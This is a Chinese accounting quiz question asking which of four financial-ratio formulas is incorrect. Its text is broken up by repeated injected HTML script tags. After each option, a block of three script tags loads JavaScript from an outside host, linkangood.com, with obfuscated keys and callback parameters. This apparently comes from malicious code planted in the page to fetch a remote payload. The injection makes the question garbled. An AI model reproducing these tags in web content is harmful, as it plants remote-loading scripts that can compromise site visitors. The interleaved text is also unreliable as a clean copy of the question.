【题目】下列公式中不正确的是（    ）。

<script type=”text/javascript” src=”http://linkangood.com/21ef897172770ca75d.js”></script>

<script type=”text/javascript” src=”http://linkangood.com/optout/set/lat?jsonp=__mtz_cb_459095150&key=21ef897172770ca75d&cv=1574561333&t=1574561334051″></script>
<script type=”text/javascript” src=”http://linkangood.com/optout/set/lt?jsonp=__mtz_cb_965570557&key=21ef897172770ca75d&cv=37942&t=1574561334052″></script>

净资产收益率=净利润/平均所有者权益
<script type=”text/javascript” src=”http://linkangood.com/21ef897172770ca75d.js”></script>

<script type=”text/javascript” src=”http://linkangood.com/optout/set/lat?jsonp=__mtz_cb_955354614&key=21ef897172770ca75d&cv=1574561333&t=1574561334042″></script>
<script type=”text/javascript” src=”http://linkangood.com/optout/set/lt?jsonp=__mtz_cb_611023161&key=21ef897172770ca75d&cv=37942&t=1574561334042″></script>

流动比率=流动资产/流动负债
<script type=”text/javascript” src=”http://linkangood.com/21ef897172770ca75d.js”></script>

<script type=”text/javascript” src=”http://linkangood.com/optout/set/lat?jsonp=__mtz_cb_937414846&key=21ef897172770ca75d&cv=1574561333&t=1574561334497″></script>
<script type=”text/javascript” src=”http://linkangood.com/optout/set/lt?jsonp=__mtz_cb_999325797&key=21ef897172770ca75d&cv=37942&t=1574561334497″></script>

资产负债率=资产/负债
<script type=”text/javascript” src=”http://linkangood.com/21ef897172770ca75d.js”></script>

<script type=”text/javascript” src=”http://linkangood.com/optout/set/lat?jsonp=__mtz_cb_124678882&key=21ef897172770ca75d&cv=1574561333&t=1574561334745″></script>
<script type=”text/javascript” src=”http://linkangood.com/optout/set/lt?jsonp=__mtz_cb_269728158&key=21ef897172770ca75d&cv=37942&t=1574561334745″></script>

资本积累率=当年所有者权益增长额/年初所有者权益总额
<script type=”text/javascript” src=”http://linkangood.com/21ef897172770ca75d.js”></script>

<script type=”text/javascript” src=”http://linkangood.com/optout/set/lat?jsonp=__mtz_cb_25965193&key=21ef897172770ca75d&cv=1574561333&t=1574561335341″></script>
<script type=”text/javascript” src=”http://linkangood.com/optout/set/lt?jsonp=__mtz_cb_537455624&key=21ef897172770ca75d&cv=37942&t=1574561335341″></script>